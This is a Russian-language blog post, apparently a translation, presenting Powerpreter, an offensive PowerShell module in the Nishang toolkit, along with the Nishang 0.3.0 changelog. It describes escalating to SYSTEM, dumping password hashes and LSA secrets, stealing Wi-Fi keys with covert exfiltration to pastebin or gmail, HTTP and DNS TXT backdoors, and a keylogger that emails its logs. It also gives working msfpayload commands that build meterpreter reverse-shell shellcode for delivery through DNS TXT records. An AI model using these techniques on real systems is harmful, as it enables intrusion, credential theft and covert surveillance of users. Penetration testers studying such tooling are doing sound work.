Данная статья посвящена теме, которую я не смог обсудить во время своего выступления на Defcon 21 «Powerpreter: максимальное использование». За 45 минут можно осветить лишь несколько основных моментов темы, поэтому данная статья, как и несколько последующих, имеет своей целью заполнить пробелы, которые остались после моего выступления.
Данная статья посвящена теме, которую я не смог обсудить во время своего выступления на Defcon 21 «Powerpreter: максимальное использование». За 45 минут можно осветить лишь несколько основных моментов темы, поэтому данная статья, как и несколько последующих, имеет своей целью заполнить пробелы, которые остались после моего выступления.
В рамках цикла статей я намерен выпустить следующие работы:
Powerpreter – модуль powershell’а. Я решил сделать его частью программы, так как в них есть изрядная часть одинакового кода. В данной статье предполагается, что у нас есть административный доступ к компьютеру под управлением Windows 7. Powerpreter можно использовать и из-под обычного пользователя, но, очевидно, это приведет к понятным для всех ограничениям (тем, не менее, как показано далее, его использование останется достаточно полезным). Во всех скриптах – и в powerpreter’е в том числе – я сделал все возможное, чтобы сохранить совместимость с powershellv2, поэтому вы можете увидеть код, который можно выполнить с помощью cmdlet в powershellv3 и v4.
После получения доступа к компьютеру, powerpreter может быть импортирован в powershell сессии. Для использования хэшей или учетных данных в удаленной сессии powershell, см. мои предыдущие статьи:
http://labofapenetrationtester.blogspot.in/2013/04/poshing-the-hashes.html
http://labofapenetrationtester.blogspot.in/2013/05/poshing-hashes-part-2.html
Из удаленной сессии powershell’а:
Чтобы получить список методов в импортированном модуле, используем следующую команду:
Get-Command -Module powerpreter
Мы имеем возможность отобразить помощь для каждой функции, используя ключ help. Например, для Chech-VM это будет выглядеть следующим образом:
help Check-VM –full
Теперь давайте рассмотрим некоторые из этих методов/команд. Некоторые из функций powerpreter’а были разобраны в статьях, посвященных Nishang’у. Я затрону лишь пару из них и несколько новых функций:
Например, Get-WLAN-Keys:
Вы также можете использовать ключ –exfil при необходимости скрытого копирования информации в pastebin/gmail/tinypaste. Более подробно можно прочитать по ссылке: http://labofapenetrationtester.blogspot.in/2013/06/nishang-0-2-7.html
Enable-DuplicateToken, Get-PassHashes и Get-LsaSecret.
Используйте Enable-DuplicateToken для эскалации ваших привилегий до уровня SYSTEM и дальнейшего использования Get-PassHases или Get-LsaSecret, в зависимости от того, что вам необходимо.
EnableDuplicateToken;Get-PassHashes
Посмотрим, как это работает в реальных условиях в meterpreter’е.
Сначала скачаем powerpreter. Во избежание каких-либо проблем, я использую ключ –encodedcommand powershell.exe в meterpreter’е. В powerpreter для этого можно использовать StringtoBase64.
В случае использования Get-LsaSecret на 64-разрядной машине, необходимо использовать 32-разрядный powershell. Поэтому в удаленной powershell-сессии используйте следующий путь к powershell.exe: «C:\Windows\SysWOW64\WindowsPowerShell\v1.0». Но если мы используем meterpreter и если процесс на целевом компьютере 32-битный, то необходимость использования 32-разрядного powershell;а отпадает.
Get-LsaSecret написана Niklas’ом Goude’ом, а Get-Passhashes – David’ом Kennedy.
HTTP-Backdoor
Этот бэкдор можно контролировать через website, чей контент мы можем менять. Продемонстрирую на примере pastebin
Функция требует ввести 4 параметра. Она требует ввести CheckURL для строки, находящейся в Magicstring. Как только строки совпадут, из PayloadURL запускается скрипт или команда powershell.
Различные команды или скрипты можно запускать, меняя содержимое PauloadURL. После успешного выполнения программа ждет 60 секунд до следующего запуска. Это позволяет избежать слишком большой генерации трафика. Бэкдор стартует в новом процессе. С помощью ключа –exfil результаты его работы могут быть размещены в удобном для нас месте.
Вот как процесс бэкдора будет выглядеть для пользователя.
DNS TXT Backdoor
Данный бэкдор использует записи DNS TXT для получения команд и скриптов, которые необходимо выполнить (также инструкции запуска и останова).
Существует несколько опций. StartDomain – будет использоваться бэкдором для получения инструкций. Далее представлены три варианта:
Как и в случае с HTTP-Backdoor данный бэкдор также запускается в новом процессе. Кроме того, существует возможность использовать ключа –exfil. Пример использования бэкдора:
Мы выполнили Get-Service на целевом компьютере, а результаты были отправлены по gmail.
Теперь давайте рассмотрим Keylogger. К сожалению, он не работает из удаленной сессии powershell. Но давайте запустим его в сессии meterpreter’а.
keylogger сохраняет информацию о нажатых клавишах в пользовательскую папку temp на целевой машине. Лог можно просмотреть с помощью скрипта Parse_Keys в Nishang. Если вы используете ключ –exfil и выбираете gmail в качестве способа доставки информации, то файл key.log будет отправлен как вложение. Чтоб избежать отправки одинаковых вложений, после 30 операций чтения key.log обнуляется.
Выполнение кода txt файлов DNS
Данная функция может быть использована для выполнения шеллкода из txt записей DNS в ее памяти. Нам необходимо предоставлять разные домены для 32- и 64-разрядного шеллкода. Программа определит архитектуру во время выполнения и выберет соответственный шеллкод.
Для генерации шеллкода с помощью msf мы можем использовать команду, которую можно найти в help’е.
./msfpayload windows/meterpreter/reverse_tcp LHOST=<ip> EXITFUNC=process C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- |sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n'
./msfpayload windows/x64/meterpreter/reverse_tcp LHOST=<ip> EXITFUNC=process C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- |sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n'
Давайте проверим, как наша функция поведет себя на 64-разрядной машине.
В консоли листнера:
Исполняемый код написан Matt’ом Graeber’ом.
Обновление: По многочисленным просьбам отвечу на вопрос: HTTP-Backdoor, DNS TXT Backdoor, Keylogger и DNS TXT Code Execution – все они работают без прав администратора. Хотя, для использования powershell удаленно мы обязаны обладать административными правами на удаленный доступ к компьютеру. Но если мы обладаем неадминистративными правами на доступ, мы все равно можем использовать вышеперечисленные функции.
Особое спасибо хотел сказать Lee Holmes’у за анализ моего кода и внесение улучшений.
Что ж, хватит о Powerpreter’е в данной статье. Так как он является частью Nishang, я бы хотел анонсировать обновленную версию Nishang 0.3.0. Изменения представлены в логе:
- добавлен Powerpreter
- добавлена функция Execute-DNSTXT-Code
- исправлены ошибки в Create-MultipleSessions.
- изменения в StringToBase64. Теперь она поддерживает Unicode, что позволяет использовать ее с –Encodedcommand, также добавлена возможность конвертирования файла
- добавлена функция Copy-VSS
- улучшен формат вывода функции Information_Gather.
- Information_Gather переименована в Get-Information.
- Wait for command переименована в HTTP-Backdoor.
- Time_Execution переименована в Execute-OnTime
- Invoke-PingSweep переименована в Port-Scan
- Invoke-Medusa переименована в Brute-Force
Скачать Nishang и powerpreter можно по адресу http://code.google.com/p/nishang
Кроме того, теперь у Nishang есть свой логотип! Пожалуйста, делитесь своими впечатлениями? Он был создан в Powerpoint, а задний фон был удален с помощью lunapic.com.
Если вы ищите презентацию с моего выступления на defcon, можете скачать ее здесь: http://labofapenetrationtester.blogspot.in/p/blog-page.html
Надеюсь, вам понравилась статья, и вы найдете ей применение. Как всегда, сообщайте, если найдете ошибки, делитесь впечатлениями и оставляйте пожелания.
Большой взрыв знаний каждый день в вашем телефоне